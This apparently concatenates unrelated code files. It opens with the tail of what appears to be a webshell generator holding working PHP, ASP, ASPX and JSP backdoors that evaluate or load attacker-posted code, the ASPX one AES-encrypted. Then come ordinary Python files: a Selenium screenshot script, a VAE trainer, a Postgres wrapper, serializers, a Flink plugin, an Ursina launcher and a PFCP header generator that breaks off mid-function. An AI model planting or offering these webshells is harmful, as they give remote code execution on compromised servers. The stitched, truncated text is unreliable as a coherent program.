f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
</jsp:scriptlet></jsp:root>'''
php='''PHP_EVAL_XOR_BASE4.php\n\n<?php
eval($_POST["pass"]);
'''
asp='''ASP_EVAL_BASE64.asp\n\n<%eval request("pass")%>
'''
aspx='''CSHAP_AES_BASE64.aspx\n\n<%@ Page Language="C#"%><%try { string key = "3c6e0b8a9c15224a"; string pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { }
%>''' | python |
from selenium import webdriver
url = "http://www.aozora.gr.jp/cards/000081/files/46268_23911.html"
# PhantomJSのドライバを得る --- (※1)
browser = webdriver.PhantomJS()
# 暗黙的な待機を最大3秒行う --- (※2)
browser.implicitly_wait(3)
# URLを読み込む --- (※3)
browser.get(url)
# 画面をキャプチャしてファイルに保存 --- (※4)
browser.save_screenshot("website.png")
# ブラウザを終了 --- (※5)
browser.quit()
| python |
import numpy as np
import tensorflow as tf
import argparse
import time
import os
import cPickle
from mnist_data import *
from model import VAE
'''
vae implementation, alpha version, used with mnist
LOADS of help was taken from:
https://jmetzen.github.io/2015-11-27/vae.html
'''
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--training_epochs', type=int, default=350,
help='training epochs')
parser.add_argument('--checkpoint_step', type=int, default=5,
help='checkpoint step')
parser.add_argument('--batch_size', type=int, default=500,
help='batch size')
parser.add_argument('--z_dim', type=int, default=8,
help='z dim')
parser.add_argument('--learning_rate', type=float, default=0.001,
help='learning rate')
parser.add_argument('--keep_prob', type=float, default=0.95,
help='dropout keep probability')
parser.add_argument('--diff_mode', type=int, default=0,
help='experimental differentiation mode. 1 = true, 0 = false')
parser.add_argument('--loss_mode', type=int, default=1,
help='1 = l2 loss, 2 = bournoulli loss')
args = parser.parse_args()
return train(args)
def train(args):
learning_rate = args.learning_rate
batch_size = args.batch_size
training_epochs = args.training_epochs
keep_prob = args.keep_prob
checkpoint_step = args.checkpoint_step # save training results every check point step
z_dim = args.z_dim # number of latent variables.
loss_mode = args.loss_mode
diff_mode = False
if args.diff_mode == 1:
diff_mode = True
dirname = 'save'
if not os.path.exists(dirname):
os.makedirs(dirname)
with open(os.path.join(dirname, 'config.pkl'), 'w') as f:
cPickle.dump(args, f)
vae = VAE(learning_rate=learning_rate, batch_size=batch_size, z_dim = z_dim, keep_prob = keep_prob, loss_mode = loss_mode)
mnist = read_data_sets()
n_samples = mnist.num_examples
# load previously trained model if appilcable
ckpt = tf.train.get_checkpoint_state(dirname)
if ckpt:
vae.load_model(dirname)
# Training cycle
for epoch in range(training_epochs):
avg_cost = 0.
avg_likelihood_loss = 0.
avg_kl_loss = 0.
mnist.shuffle_data()
total_batch = int(n_samples / batch_size)
# Loop over all batches
for i in range(total_batch):
batch_xs = mnist.next_batch(batch_size)
if (diff_mode == True):
batch_xs = mnist.integrate_batch(batch_xs)
# Fit training using batch data
cost, likelihood_loss, kl_loss = vae.partial_fit(batch_xs)
# Compute average loss
avg_cost += cost / n_samples * batch_size
avg_likelihood_loss += likelihood_loss / n_samples * batch_size
avg_likelihood_loss += kl_loss / n_samples * batch_size
# Display logs per batch
'''
print "batch:", '%04d' % (i+1), \
"total loss =", "{:.6f}".format(cost), \
"likelihood_loss =", "{:.6f}".format(likelihood_loss), \
"kl_loss =", "{:.6f}".format(kl_loss)
'''
# Display logs per epoch step
print "Epoch:", '%04d' % (epoch+1), \
"total loss =", "{:.6f}".format(avg_cost), \
"likelihood_loss =", "{:.6f}".format(avg_likelihood_loss), \
"kl_loss =", "{:.6f}".format(avg_kl_loss)
# save model
if epoch > 0 and epoch % checkpoint_step == 0:
checkpoint_path = os.path.join('save', 'model.ckpt')
vae.save_model(checkpoint_path, epoch)
print "model saved to {}".format(checkpoint_path)
# save model one last time, under zero label to denote finish.
vae.save_model(checkpoint_path, 0)
return vae
if __name__ == '__main__':
main()
| python |
from dataContainers import *
import psycopg2
import psycopg2.extras
import datetime
import logging
import pickle
import copy
_logger = logging.getLogger()
class PostgresWrapper():
def __init__(self, connectionString):
self.connection_string = connectionString
def _query_wrapper(self, query, vars=[], doFetch=True, do_log=True):
retry = True
connection = None
cursor = None
while(retry):
try:
connection = psycopg2.connect(self.connection_string)
cursor = connection.cursor(cursor_factory=psycopg2.extras.DictCursor)
if do_log:
_logger.info('making Query: ' + query)
_logger.info('with vars: {}'.format(vars))
cursor.execute(query, vars)
connection.commit()
result = None
if(doFetch):
result = cursor.fetchall()
cursor.close()
connection.close()
return result
except psycopg2.InternalError as e:
cursor.close()
connection.close()
if e.pgcode:
_logger.error("psycopg2 error code: " + str(e.pgcode))
if not retry:
raise e
retry = False
def get_active_commands(self, do_log=True):
rawVals = self._query_wrapper("SELECT * FROM ottobot.commands WHERE active;", do_log=do_log)
result = []
for raw in rawVals:
result.append(Command(raw))
return result
def get_recent_requests(self, user, when):
rawVals = self._query_wrapper("SELECT * FROM ottobot.requests WHERE requestedby=%s AND requested >= timestamp %s;", [user, when])
result = []
for raw in rawVals:
result.append(Request(raw))
return result
def get_user_requests(self, user):
rawVals = self._query_wrapper("SELECT * FROM ottobot.requests WHERE requestedby=%s;", [user])
result = []
for raw in rawVals:
result.append(Request(raw))
return result
def get_request(self, request_id):
return Request(self._query_wrapper("SELECT * FROM ottobot.requests WHERE id=%s;", [request_id])[0])
def get_ready_pending_responses(self):
#ignore logging on this one query because it happens every 15s
rawVals = self._query_wrapper("SELECT * FROM ottobot.pendingresponses WHERE execute <= now();", do_log=False)
result = []
for raw in rawVals:
result.append(PendingResponse(raw))
return result
def get_responses(self, commandID, do_log=True):
rawVals = self._query_wrapper("SELECT * FROM ottobot.responses WHERE commandid=%s;", [commandID], do_log=do_log)
result = []
for raw in rawVals:
result.append(Response(raw))
return result
def get_command_types(self, do_log=True):
rawVals = self._query_wrapper("SELECT * FROM ottobot.commandtypes;", do_log=do_log)
result = []
for raw in rawVals:
result.append(CommandType(raw))
return result
def insert_request(self, user, commandID):
return self._query_wrapper("INSERT INTO ottobot.requests (requestedby, requested, commandid) values (%s, %s, %s) RETURNING id;", [user, datetime.datetime.now(), commandID])[0][0]
def insert_pending_response(self, requestID, lastResponse, when, message):
message = copy.deepcopy(message)
message = pickle.dumps(message)
return self._query_wrapper("INSERT INTO ottobot.pendingresponses (requestid, nextresponse, execute, stored, message) values(%s, %s, %s, now(), %s) RETURNING id;", [requestID, lastResponse, when, message])[0][0]
def insert_response(self, text, function, previous, commandID):
result = self._query_wrapper("INSERT INTO ottobot.responses (text, functionname, next, previous, commandid) values (%s, %s, NULL, %s, %s) RETURNING id;", [text, function, previous, commandID])[0][0]
self._query_wrapper("UPDATE ottobot.responses SET next=%s where commandid=%s and next IS NULL and id!=%s;", [result, commandID, result], doFetch=False)
return result
def insert_command(self, text, removable, caseSensitive, commandTypeID):
return self._query_wrapper("INSERT INTO ottobot.commands (text, removable, casesensitive, active, commandtypeid) values (%s, %s, %s, TRUE, %s) RETURNING id;", [text, removable, caseSensitive, commandTypeID])[0][0]
def deactivate_command(self, commandID):
self._query_wrapper("UPDATE ottobot.commands SET active=FALSE WHERE id=%s;", [commandID], doFetch=False)
def delete_response(self, responseID, next, previous):
self._query_wrapper("UPDATE ottobot.responses SET next=%s WHERE next=%s;", [next, responseID], doFetch=False)
self._query_wrapper("UPDATE ottobot.responses SET previous=%s WHERE previous=%s;", [previous, responseID], doFetch=False)
self._query_wrapper("DELETE FROM ottobot.responses WHERE id=%s;", [responseID], doFetch=False)
def delete_pending_response(self, pendingResponseID):
self._query_wrapper("DELETE FROM ottobot.pendingresponses WHERE id=%s;", [pendingResponseID], doFetch=False) | python |
import six
from .base import BasketSerializer
from data_basket.exceptions import *
__all__ = [
'IntSerializer', 'FloatSerializer', 'ComplexSerializer',
'StrSerializer',
'NoneSerializer',
'ListSerializer', 'TupleSerializer', 'DictSerializer',
'BUILTIN_SERIALIZERS'
]
class IntSerializer(BasketSerializer):
type_name = 'int'
type_class = int
inline = True
def dump(self, dest=None, basket=None):
return self.obj
class FloatSerializer(BasketSerializer):
type_name = 'float'
type_class = float
inline = True
def dump(self, dest=None, basket=None):
return self.obj
class ComplexSerializer(BasketSerializer):
type_name = 'complex'
type_class = complex
inline = True
class StrSerializer(BasketSerializer):
type_name = 'str'
type_class = six.string_types
inline = True
def dump(self, dest=None, basket=None):
# TODO: PY2, PY3 compatible
return self.obj
def load(self, src, basket=None):
# TODO: PY2, PY3 compatible
self.obj = src
return self.obj
class NoneSerializer(BasketSerializer):
type_name = 'None'
type_class = type(None)
inline = True
def check_type(self):
return self.obj is None
def dump(self, dest=None, basket=None):
return self.obj
def load(self, src, basket=None):
return None
class ListSerializer(BasketSerializer):
type_name = 'list'
type_class = list
inline = True
def dump(self, dest=None, basket=None):
if basket:
res = [basket._dump_obj(item) for item in self.obj]
else:
res = [dump_builtin_obj(item) for item in self.obj]
return res
def load(self, src, basket=None):
if basket:
self.obj = [basket._load_obj(d) for d in src]
else:
self.obj = [load_builtin_obj(d) for d in src]
return self.obj
class TupleSerializer(ListSerializer):
type_name = 'tuple'
type_class = tuple
def load(self, src, basket=None):
if basket:
self.obj = tuple([basket._load_obj(d) for d in src])
else:
self.obj = tuple([load_builtin_obj(d) for d in src])
return self.obj
class DictSerializer(BasketSerializer):
type_name = 'dict'
type_class = dict
inline = True
def dump(self, dest=None, basket=None):
if basket:
res = {k: basket._dump_obj(v) for (k, v) in six.iteritems(self.obj)}
else:
res = {k: dump_builtin_obj(v) for (k, v) in six.iteritems(self.obj)}
return res
def load(self, src, basket=None):
if basket:
self.obj = {k: basket._load_obj(v) for (k, v) in six.iteritems(src)}
else:
self.obj = {k: load_builtin_obj(v) for (k, v) in six.iteritems(src)}
return self.obj
BUILTIN_SERIALIZERS = [IntSerializer, FloatSerializer, ComplexSerializer,
StrSerializer,
NoneSerializer,
ListSerializer, TupleSerializer, DictSerializer]
# offline version, to make compound type such as list/dict work without basket.
BUILTIN_SERIALIZER_DICT = {s.type_name: s for s in BUILTIN_SERIALIZERS}
def dump_builtin_obj(obj):
type_name = type(obj).__name__
s = BUILTIN_SERIALIZER_DICT.get(type_name)
if s:
return {"type": s.type_name, "inline": True, "value": s(obj).dump()}
else:
raise CannotDumpBasketData(obj)
def load_builtin_obj(d):
s = BUILTIN_SERIALIZER_DICT.get(d['type'])
if s:
return s().load(d['value'])
else:
raise CannotLoadBasketData(d)
| python |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import json
import re
from subprocess import Popen, PIPE
from typing import Text, List
from ai_flow.plugin_interface.job_plugin_interface import JobController
from ai_flow.translator.translator import JobGenerator
from ai_flow_plugins.job_plugins.read_only import ReadOnlyJobController, ReadOnlyJob, ReadOnlyJobGenerator, \
ReadOnlyJobPluginFactory
class ReadOnlyFlinkJobController(ReadOnlyJobController):
def get_job_label(self, job: ReadOnlyJob) -> Text:
job_id = job.job_config.properties.get('job_id')
args = job.job_config.properties.get('args', [])
output = self._list_flink_job_status(args)
return self._get_job_label(output, job_id)
@staticmethod
def _list_flink_job_status(args: List[Text]):
bash_command = ['flink', 'list', '-a'] + args
process = Popen(args=bash_command, stdout=PIPE, stderr=PIPE)
output = process.stdout.read().decode('utf-8')
return output
@staticmethod
def _get_job_label(output, job_id):
m = re.search(r"(?P<start_time>.+) : {} : (?P<job_name>.*) \((?P<status>.*)\)".format(job_id), output)
if m is None:
return ""
return json.dumps(m.groupdict())
class ReadOnlyFlinkJobPluginFactory(ReadOnlyJobPluginFactory):
def job_type(self) -> Text:
return "read_only_flink"
def get_job_generator(self) -> JobGenerator:
return ReadOnlyJobGenerator(required_properties={'job_id'})
def get_job_controller(self) -> JobController:
return ReadOnlyFlinkJobController()
| python |
from ursina import *
from shader_builder_manager import ShaderBuilderManager
from panda3d.core import loadPrcFileData
import json
# default config info
config = {
'AntiAliasing' : 1,
'Line Quality' : 26,
'Start Fullscreen' : 0
}
#loading config
try:
with open('config.json', 'r') as f:
config.update(json.load(f))
with open('config.json', 'w') as f:
json.dump(config, f) # update any missing information
except FileNotFoundError:
with open('config.json', 'w') as f:
json.dump(config, f)
except json.JSONDecodeError:
with open('config.json', 'w') as f:
json.dump(config, f)
# - - - setting config info - - -
if config['AntiAliasing'] == 1:
loadPrcFileData('', 'framebuffer-multisample 1')
loadPrcFileData('', 'multisamples 2')
from instanced_curve import InstancedCurve
InstancedCurve.line_quality = config['Line Quality']
window.title = 'Ursina Shader Builder'
app = Ursina(borderless = False, fullscreen = config['Start Fullscreen'] == 1)
camera.ui_render.set_depth_test(1)
camera.ui_render.set_depth_write(1)
# turns out for instanced rendering, depth writing/testing is important
sbm = ShaderBuilderManager()
app.run() | python |
#!/usr/bin/env python3
# Please save the doc as docx before delete useless table.
# Check all of table are complete. There are problems if rows are not align in table.
# All tables are saved in variable "tables" using structure "list".
# Rows for each table use structure "dict" and save in variable "tables[index]".
import os, re
from docx import Document
ieNameMapping = {
'PFD': 'PFDContext',
'PDRID': 'PacketDetectionRuleID',
'SxSRRspFlags': 'PFCPSRRspFlags'
}
def snack2CamalCast(name):
return ''.join(x.title() for x in name.lower().split('_'))
def large2smallCamalCast(name):
return name[0].lower() + name[1:]
def formatString(inputStr : str) -> str :
inputStr = re.sub(r"['/\"]", '', inputStr)
outputStrList = [s[0].upper() + s[1:] for s in re.sub(r'[-() ]+', ' ', inputStr).split()]
return ''.join(outputStrList)
def snackCase(inputStr: str) -> str:
s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', inputStr)
return re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).upper().replace(" ", "")
class FileOutput() :
def __init__(self, fileName : str) :
self.fd = open(fileName, 'w')
self.tab, self.tabstop = 0, 4
def indent(self, num : int) :
self.tab += num
self.tab = 0 if self.tab < 0 else self.tab
def indented(self, contentList : list) :
self.indent(+1)
for content in contentList :
self.fprint(content)
self.indent(-1)
def fprint(self, content : str) :
print(' ' * self.tabstop * self.tab, content, sep='', file=self.fd)
class TableParser() :
def __init__(self, fileName : str) :
self.document = Document(fileName)
self.tables = []
self.parse()
def parse(self) :
for idx, table in enumerate(self.document.tables) :
gotTitle, titlePointer = 0, None
for row in table.rows :
try :
if 'Information elements'.lower() in [cell.text.lower() for cell in row.cells] :
if gotTitle == 0 :
self.tables.append(list())
titlePointer, gotTitle = row, 1
elif gotTitle == 1 :
content, isNote = dict(), 0
for title, context in zip(self.yieldTitleFromDocx(titlePointer), row.cells) :
if context._tc.right - context._tc.left >= 8 :
isNote = 1
break
content[title] = context.text
if isNote == 0 :
self.tables[-1].append(content)
except :
print(f'[Error] The {idx} table is dirty')
break
def yieldTitleFromDocx(self, tableRowPtr) :
for cell in tableRowPtr.cells :
yield cell.text
def printTableByIndex(self, idxOfTable) :
try :
for content in self.tables[idxOfTable] :
print(content)
except :
print('[Warning] Index out of bound')
if __name__ == '__main__' :
doc29244_812_1 = TableParser('29244-f30-ch8.1.2-1.docx')
ie_type_value = dict()
for row in doc29244_812_1.tables[0][:-1]:
ieName = formatString(row['Information elements'])
if ieName == 'UpdateBARSessionModificationRequest':
ieName = 'UpdateBARPFCPSessionModificationRequest'
ieVal = row['IE Type value\n(Decimal)']
if ie_type_value.get(ieName) == None:
ie_type_value[ieName] = int(ieVal)
else :
print(f'[Warning] {ieName} is duplicate')
specialCase = set()
specialCase.update(['UpdateBAR', 'UsageReport'])
# There have 67 table in chapter 7, but the first one will not be used
docxChapter7Name = '29244-f30-ch7-fixed-table.docx'
doc29244_7_para = Document(docxChapter7Name)
# tableName = re.compile(r'Table 7.*: (Information Elements in [an ]{0,3})?(.+(?= IE within ))?(.+)')
tableName = re.compile(r'Table 7.*: (Information Elements in [an ]{0,3}|(.+)( IE within ))?(.+)')
chapter7TitleList = []
for line in doc29244_7_para.paragraphs :
afterMatch = tableName.match(line.text)
if afterMatch :
ieName = afterMatch.group(2) if afterMatch.group(2) else afterMatch.group(4)
if formatString(ieName) in specialCase :
ieName += afterMatch.group(4)
chapter7TitleList.append(ieName)
# print(afterMatch.group(2)) if afterMatch.group(2) else print(afterMatch.group(3))
doc29244_7 = TableParser(docxChapter7Name)
chapter7UsedIESet = set()
for tableName in chapter7TitleList[1:] :
tableName = formatString(tableName)
ieIn = re.compile("^.*IEIn.*")
if tableName == "UpdateBARIEInPFCPSessionReportResponse":
tableName = "UpdateBARPFCPSessionReportResponse"
elif ieIn.match(tableName):
#print("============", tableName, tableName[:tableName.find("IEIn")])
tableName = tableName[:tableName.find("IEIn")]
elif tableName == 'RemoveQERIEPFCPSessionModificationRequest':
tableName = tableName[:tableName.find("IE")]
chapter7UsedIESet.add(tableName)
PFCPMessageHeaderFd = FileOutput('pfcp_message.h')
PFCPMessageHeaderFd.fprint('''#ifndef __PFCP_MESSAGE_H__
#define __PFCP_MESSAGE_H__
#include <stdint.h>
#include "utlt_debug.h"
#include "utlt_lib.h"
#include "utlt_buff.h"
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
typedef struct _TlvOctet {
unsigned long presence;
uint16_t type;
uint16_t len;
void *value;
} __attribute__((packed)) TlvOctet;
typedef struct _IeDescription {
uint16_t msgType;
uint16_t msgLen; // msg struct size
_Bool isTlvObj;
int numToParse;
int next[35];
} __attribute__((packed)) IeDescription;
/* 5.1 General format */
#define PFCP_HEADER_LEN 16
#define PFCP_SEID_LEN 8
typedef struct _PfcpHeader {
union {
struct {
ENDIAN4(uint8_t version:3;,
uint8_t spare0:3;,
uint8_t mp:1;,
uint8_t seidP:1;)
};
uint8_t flags;
};
uint8_t type;
uint16_t length;
union {
struct {
uint64_t seid;
#define PfcpTransactionId2Sqn(__transactionId) htonl(((__transactionId) << 8))
#define PfcpSqn2TransactionId(__sqn) (ntohl(__sqn) >> 8)
uint32_t sqn;
};
uint32_t sqn_only;
};
} __attribute__ ((packed)) PfcpHeader;
''')
definedList = []
ieDesTable = []
for ieName, ieVal in ie_type_value.items():
ieDesTable.append([ieVal, f'sizeof({ieName})', 1, 0, []]) # set default as TlvOctet struct
table = doc29244_7_para.tables[0]
ieTable = table
for i, row in enumerate(table.rows):
if (i == 0 or i == 1):
continue
if row.cells[0].paragraphs[0].text.isdigit():
PFCPMessageHeaderFd.fprint('#define ' + snackCase(row.cells[1].paragraphs[0].text) + \
' ' + row.cells[0].paragraphs[0].text)
PFCPMessageHeaderFd.fprint('')
for key in ie_type_value:
ieName, ieValue = key, ie_type_value[key]
PFCPMessageHeaderFd.fprint(f'#define PFCP_{ieName}_TYPE {ieValue}')
PFCPMessageHeaderFd.fprint('')
for ieName, ieVal in ie_type_value.items():
if ieName not in chapter7UsedIESet:
PFCPMessageHeaderFd.fprint(f'typedef TlvOctet {ieName};')
definedList.append(ieName)
#ieDesTable.append([ie_type_value[ieName], f'sizeof({ieName})', 1, 0, []])
PFCPMessageHeaderFd.fprint('')
ieTypeNotDefinedList = []
for tableName, table in zip(chapter7TitleList[1:], doc29244_7.tables) :
tableName = formatString(tableName)
ieIn = re.compile("^.*IEIn.*")
if tableName == "UpdateBARIEInPFCPSessionReportResponse":
tableName = "UpdateBARPFCPSessionReportResponse"
elif tableName == "UserPlanePathFailure":
tableName = "UserPlanePathFailureReport"
elif tableName == "PFD":
tableName = "PFDContext"
elif ieIn.match(tableName):
#print("============", tableName, tableName[:tableName.find("IEIn")])
tableName = tableName[:tableName.find("IEIn")]
elif tableName == 'RemoveQERIEPFCPSessionModificationRequest':
tableName = tableName[:tableName.find("IE")]
ieTypeNotDefined = False
# check if exist not defined ie
for ie in table :
try :
ieName = large2smallCamalCast(formatString(ie['Information elements']))
except :
ieName = 'NoIEName'
print(f'[warning] No IE name in {tableName}')
try :
ieType = formatString(ie['IE Type'])
except:
print('NoIEType')
if ieType not in definedList:
ieTypeNotDefined = True
break
if ieTypeNotDefined:
tmpTuple = [tableName, []]
for ie in table:
try:
ieName = large2smallCamalCast(formatString(ie['Information elements']))
except:
print(f'No IE name in {tableName}')
continue
try:
ieType = formatString(ie['IE Type'])
except:
print('No IE type')
try:
if ieNameMapping.get(ieType):
ieType = ieNameMapping[ieType]
elif ieType in specialCase:
ieType+= tableName
except:
print("???")
tmpTuple[1].append((ieType, ieName))
ieTypeNotDefinedList.append(tmpTuple)
else:
definedList.append(tableName)
PFCPMessageHeaderFd.fprint(f'typedef struct _{tableName} ' +'{')
PFCPMessageHeaderFd.indent(+1)
PFCPMessageHeaderFd.fprint('unsigned long presence;')
ieNum = 0
ieList = []
for ie in table:
try :
ieName = large2smallCamalCast(formatString(ie['Information elements']))
except :
ieName = 'NoIEName'
print(f'[warning] No IE name in {tableName}')
try :
ieType = formatString(ie['IE Type'])
except :
ieType = 'NoIEType'
print(f'[warning] No IE {ieName} type in {tableName}')
try :
if ieNameMapping.get(ieType) :
ieType = ieNameMapping[ieType]
elif ieType in specialCase:
ieType += tableName
except :
print('[warning] Cannot get ieType from ieNameMapping:', ieType)
if ie_type_value.get(ieType) != None:
ieList.append(ie_type_value.get(ieType))
ieNum += 1
else:
print("IE value cannot find:", ieType, ieName, tableName)
PFCPMessageHeaderFd.fprint(f'{ieType} {ieName};')
if ie_type_value.get(tableName) != None:
ieDesTable[ie_type_value.get(tableName)] = [ie_type_value.get(tableName), f'sizeof({tableName})', 0, ieNum, ieList]
else:
print(tableName, "not ie")
ieDesTable.append(
[0, f'sizeof({tableName})', 0, ieNum, ieList])
PFCPMessageHeaderFd.indent(-1)
PFCPMessageHeaderFd.fprint(
'} __attribute__((packed)) ' + f'{tableName};\n')
for table in ieTypeNotDefinedList:
tableName = table[0]
ieTypeNotDefined = False
for ie in table[1]:
ieType = ie[0]
if ieType not in definedList:
ieTypeNotDefined = True
break
if ieTypeNotDefined:
ieTypeNotDefinedList.append(table)
else:
definedList.append(tableName)
PFCPMessageHeaderFd.fprint(f'typedef struct _{tableName} ' +'{')
PFCPMessageHeaderFd.indent(+1)
PFCPMessageHeaderFd.fprint('unsigned long presence;')
ieNum = 0
ieList = []
for ie in table[1]:
ieType = ie[0]
ieName = ie[1]
#ieNum += 1
#ieList.append(definedList.index(ieType))
if ie_type_value.get(ieType) != None:
ieList.append(ie_type_value.get(ieType))
ieNum += 1
else:
print("IE value cannot find:", ieType)
PFCPMessageHeaderFd.fprint(f'{ieType} {ieName};')
if ie_type_value.get(tableName) != None:
ieDesTable[ie_type_value.get(tableName)] = [ie_type_value.get(tableName), f'sizeof({tableName})', 0, ieNum, ieList]
#ieDesTable.append([ie_type_value[tableName], f'sizeof({tableName})', 0, ieNum, ieList])
else:
print(tableName, "not ie")
ieDesTable.append([0, f'sizeof({tableName})', 0, ieNum, ieList])
PFCPMessageHeaderFd.indent(-1)
PFCPMessageHeaderFd.fprint(
'} __attribute__((packed)) ' + f'{tableName};\n')
# PfcpMessage type
PFCPMessageHeaderFd.fprint("")
PFCPMessageHeaderFd.fprint("typedef struct _PfcpMessage {")
PFCPMessageHeaderFd.indent(+1)
PFCPMessageHeaderFd.fprint("PfcpHeader header;")
PFCPMessageHeaderFd.fprint("union {")
PFCPMessageHeaderFd.indent(+1)
for i, row in enumerate(ieTable.rows):
if (i == 0 or i == 1 or i == 2):
continue
if row.cells[0].paragraphs[0].text.isdigit():
msg = snackCase(row.cells[1].paragraphs[0].text)
if msg == "PFCP_VERSION_NOT_SUPPORTED_RESPONSE":
continue
elif msg[:7] == "PFCPPFD":
PFCPMessageHeaderFd.fprint(f'{"PFCPPFD"+snack2CamalCast(msg[8:])} {large2smallCamalCast("PFCPPFD"+snack2CamalCast(msg[8:]))};')
elif msg[5:10] == "HEART":
PFCPMessageHeaderFd.fprint(f'{snack2CamalCast(msg[5:])} {large2smallCamalCast(snack2CamalCast(msg[5:]))};')
else:
PFCPMessageHeaderFd.fprint(f'{"PFCP"+snack2CamalCast(msg[5:])} {large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))};')
PFCPMessageHeaderFd.indent(-1)
PFCPMessageHeaderFd.fprint("};")
PFCPMessageHeaderFd.indent(-1)
PFCPMessageHeaderFd.fprint("} PfcpMessage;")
# encode & decode function declear
PFCPMessageHeaderFd.fprint("")
PFCPMessageHeaderFd.fprint("Status PfcpParseMessage(PfcpMessage *pfcpMessage, Bufblk *buf);")
PFCPMessageHeaderFd.fprint("")
PFCPMessageHeaderFd.fprint("Status PfcpBuildMessage(Bufblk **bufBlkPtr, PfcpMessage *pfcpMessage);")
PFCPMessageHeaderFd.fprint("""
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif /* __PFCP_MESSAGE_H__ */
""")
PFCPMessageSourceFd = FileOutput('pfcp_message.c')
PFCPMessageSourceFd.fprint('''#define TRACE_MODULE _pfcp_message
#include <endian.h>
#include <string.h>
#include <netinet/in.h>
#include "utlt_debug.h"
#include "utlt_buff.h"
#include "pfcp_message.h"
''')
PFCPMessageSourceFd.fprint(
"static IeDescription ieDescriptionTable[] = {\\")
for ieDes in ieDesTable:
tmpStr = '{'
idx = 0
for idx, ie in enumerate(ieDes[4]):
if idx != 0:
tmpStr += ', '
tmpStr += str(ie)
idx += 1
while idx < 35:
if idx != 0:
tmpStr += ', 0'
else:
tmpStr += '0'
idx += 1
tmpStr += '}'
PFCPMessageSourceFd.fprint(
'{' + f'{ieDes[0]}, {ieDes[1]}, {ieDes[2]}, {ieDes[3]}, {tmpStr}' + '}, \\')
PFCPMessageSourceFd.fprint("};")
PFCPMessageSourceFd.fprint('''
_Bool dbf = 0;
int _TlvParseMessage(void * msg, IeDescription * msgDes, void * buff, int buffLen) {
int msgPivot = 0; // msg (struct) offset
//void *root = buff;
int buffOffset = 0; // buff offset
int idx;
for (idx = 0; idx < msgDes->numToParse; ++idx) {
if (dbf) { if (ieDescriptionTable[msgDes->next[idx]].msgType == 57) {
UTLT_Warning("Get F-SEID");
} }
IeDescription *ieDes = &ieDescriptionTable[msgDes->next[idx]];
uint16_t type;
uint16_t length;
memcpy(&type, buff + buffOffset, sizeof(uint16_t));
memcpy(&length, buff + buffOffset + sizeof(uint16_t), sizeof(uint16_t));
//type = (type>>8) + ((type&0xff)<<8);
//length = (length>>8) + ((length&0xff)<<8);
type = ntohs(type);
length = ntohs(length);
if (dbf) { UTLT_Info("type: %d, len: %d", type, length); }
if (type != ieDes->msgType) {
if (dbf) { UTLT_Warning("%d not present, type: %d", ieDes->msgType, type); }
// not present
(*(unsigned long*)(msg + msgPivot)) = 0; // presence
msgPivot += ieDes->msgLen;
continue;
}
if (ieDes->isTlvObj) {
if (dbf) { UTLT_Info("is TLV: %p", msg+msgPivot); }
((TlvOctet*)(msg+msgPivot))->presence = 1;
((TlvOctet*)(msg+msgPivot))->type = type;
Bufblk *newBuf = BufblkAlloc(1, length);
memcpy(newBuf->buf, buff + buffOffset + 2*sizeof(uint16_t), length);
newBuf->len = length;
((TlvOctet*)(msg+msgPivot))->len = length;
((TlvOctet*)(msg+msgPivot))->value = newBuf->buf;
buffOffset += sizeof(uint16_t)*2 + length;
msgPivot += sizeof(TlvOctet);
continue;
} else {
if (dbf) { UTLT_Info("not Tlv, desTB mstype: %d", ieDes->msgType); }
// recursive
*((unsigned long*)(msg+msgPivot)) = 1; // presence
_TlvParseMessage(msg+msgPivot+sizeof(unsigned long), ieDes, buff + buffOffset + sizeof(uint16_t)*2, buffLen - buffOffset);
//int size = _TlvParseMessage(msg+msgPivot, ieDes, buff + buffOffset, buffLen - buffOffset);
buffOffset += length + sizeof(uint16_t)*2;
msgPivot += ieDes->msgLen;
}
}
return buffOffset;
}
Status PfcpParseMessage(PfcpMessage *pfcpMessage, Bufblk *bufBlk) {
Status status = STATUS_OK;
PfcpHeader *header = NULL;
uint16_t size = 0;
UTLT_Assert(pfcpMessage, return STATUS_ERROR, "Message error");
UTLT_Assert(bufBlk, return STATUS_ERROR, "buffer error");
UTLT_Assert(bufBlk->buf, return STATUS_ERROR, "buffer payload error");
header = bufBlk->buf;
UTLT_Assert(header, return STATUS_ERROR, "header hasn't get pointer");
